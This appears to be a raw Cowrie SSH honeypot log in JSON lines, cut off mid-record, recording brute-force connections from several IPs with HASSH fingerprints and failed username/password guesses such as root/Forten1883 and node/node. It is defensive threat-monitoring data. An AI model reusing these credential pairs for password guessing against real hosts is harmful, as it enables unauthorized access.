{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"48224e924159","protocol":"ssh","message":"New connection: 91.92.40.153:59112 (10.17.0.5:22) [session: 48224e924159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:17.734189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:18.407742Z","src_ip":"91.92.40.153","session":"48224e924159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:18.412139Z","src_ip":"91.92.40.153","session":"48224e924159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:20.508067Z","src_ip":"91.92.40.153","session":"48224e924159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35930,"dst_ip":"10.17.0.5","dst_port":22,"session":"6321ab6a21f1","protocol":"ssh","message":"New connection: 103.98.149.87:35930 (10.17.0.5:22) [session: 6321ab6a21f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:21.665645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:21.670808Z","src_ip":"103.98.149.87","session":"6321ab6a21f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:21.896888Z","src_ip":"103.98.149.87","session":"6321ab6a21f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:22.095953Z","src_ip":"91.92.40.153","session":"48224e924159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:22.591932Z","src_ip":"103.98.149.87","session":"6321ab6a21f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","size":86,"shasum":"e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","duplicate":true,"duration":"6.6","message":"Closing TTY Log: var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75 after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:22.895340Z","src_ip":"139.99.74.35","session":"5fa9f8910050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"50.7","message":"Connection lost after 50.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:22.900162Z","src_ip":"139.99.74.35","session":"5fa9f8910050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":55806,"dst_ip":"159.203.135.109","dst_port":22,"session":"e42f04faa62e","protocol":"ssh","message":"New connection: 139.99.74.35:55806 (159.203.135.109:22) [session: e42f04faa62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:23.128633Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:23.842858Z","src_ip":"103.98.149.87","session":"6321ab6a21f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47546,"dst_ip":"10.17.0.5","dst_port":22,"session":"35fea3531b9a","protocol":"ssh","message":"New connection: 91.92.40.153:47546 (10.17.0.5:22) [session: 35fea3531b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:24.416238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:24.664212Z","src_ip":"91.92.40.153","session":"35fea3531b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:24.667496Z","src_ip":"91.92.40.153","session":"35fea3531b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1","message":"login attempt [rocky/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:25.517457Z","src_ip":"91.92.40.153","session":"35fea3531b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:26.638127Z","src_ip":"91.92.40.153","session":"35fea3531b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:27.915217Z","src_ip":"139.99.74.35","session":"e42f04faa62e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":58062,"dst_ip":"159.203.135.109","dst_port":22,"session":"374f05941d20","protocol":"ssh","message":"New connection: 139.99.74.35:58062 (159.203.135.109:22) [session: 374f05941d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:28.140205Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47596,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b63bae9cf22","protocol":"ssh","message":"New connection: 91.92.40.153:47596 (10.17.0.5:22) [session: 4b63bae9cf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:30.525988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:30.727829Z","src_ip":"91.92.40.153","session":"4b63bae9cf22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:30.730879Z","src_ip":"91.92.40.153","session":"4b63bae9cf22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:31.664031Z","src_ip":"91.92.40.153","session":"4b63bae9cf22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:32.926829Z","src_ip":"139.99.74.35","session":"374f05941d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":58066,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4fe5c777fa4","protocol":"ssh","message":"New connection: 139.99.74.35:58066 (159.203.135.109:22) [session: d4fe5c777fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:33.172905Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:33.192884Z","src_ip":"91.92.40.153","session":"4b63bae9cf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57368,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d6f33f670fe","protocol":"ssh","message":"New connection: 91.92.40.153:57368 (10.17.0.5:22) [session: 0d6f33f670fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:36.467207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:36.779556Z","src_ip":"91.92.40.153","session":"0d6f33f670fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:36.783694Z","src_ip":"91.92.40.153","session":"0d6f33f670fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48354,"dst_ip":"159.203.135.109","dst_port":22,"session":"9adf17929220","protocol":"ssh","message":"New connection: 160.187.174.22:48354 (159.203.135.109:22) [session: 9adf17929220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:37.298702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:37.307300Z","src_ip":"160.187.174.22","session":"9adf17929220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:37.555079Z","src_ip":"160.187.174.22","session":"9adf17929220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:37.941571Z","src_ip":"139.99.74.35","session":"d4fe5c777fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":34446,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bd6245e947f","protocol":"ssh","message":"New connection: 139.99.74.35:34446 (159.203.135.109:22) [session: 5bd6245e947f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:38.170753Z"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:38.501524Z","src_ip":"160.187.174.22","session":"9adf17929220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:39.391814Z","src_ip":"91.92.40.153","session":"0d6f33f670fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:39.747464Z","src_ip":"160.187.174.22","session":"9adf17929220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:40.949207Z","src_ip":"91.92.40.153","session":"0d6f33f670fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57414,"dst_ip":"10.17.0.5","dst_port":22,"session":"603b8c6daa9b","protocol":"ssh","message":"New connection: 91.92.40.153:57414 (10.17.0.5:22) [session: 603b8c6daa9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:42.402803Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:42.945900Z","src_ip":"139.99.74.35","session":"5bd6245e947f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:43.052230Z","src_ip":"91.92.40.153","session":"603b8c6daa9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:43.055173Z","src_ip":"91.92.40.153","session":"603b8c6daa9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":34464,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c23b9001107","protocol":"ssh","message":"New connection: 139.99.74.35:34464 (159.203.135.109:22) [session: 3c23b9001107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:43.194838Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":49446,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b07c0483935","protocol":"ssh","message":"New connection: 69.163.176.54:49446 (10.17.0.5:22) [session: 1b07c0483935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:45.017357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:45.076433Z","src_ip":"69.163.176.54","session":"1b07c0483935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01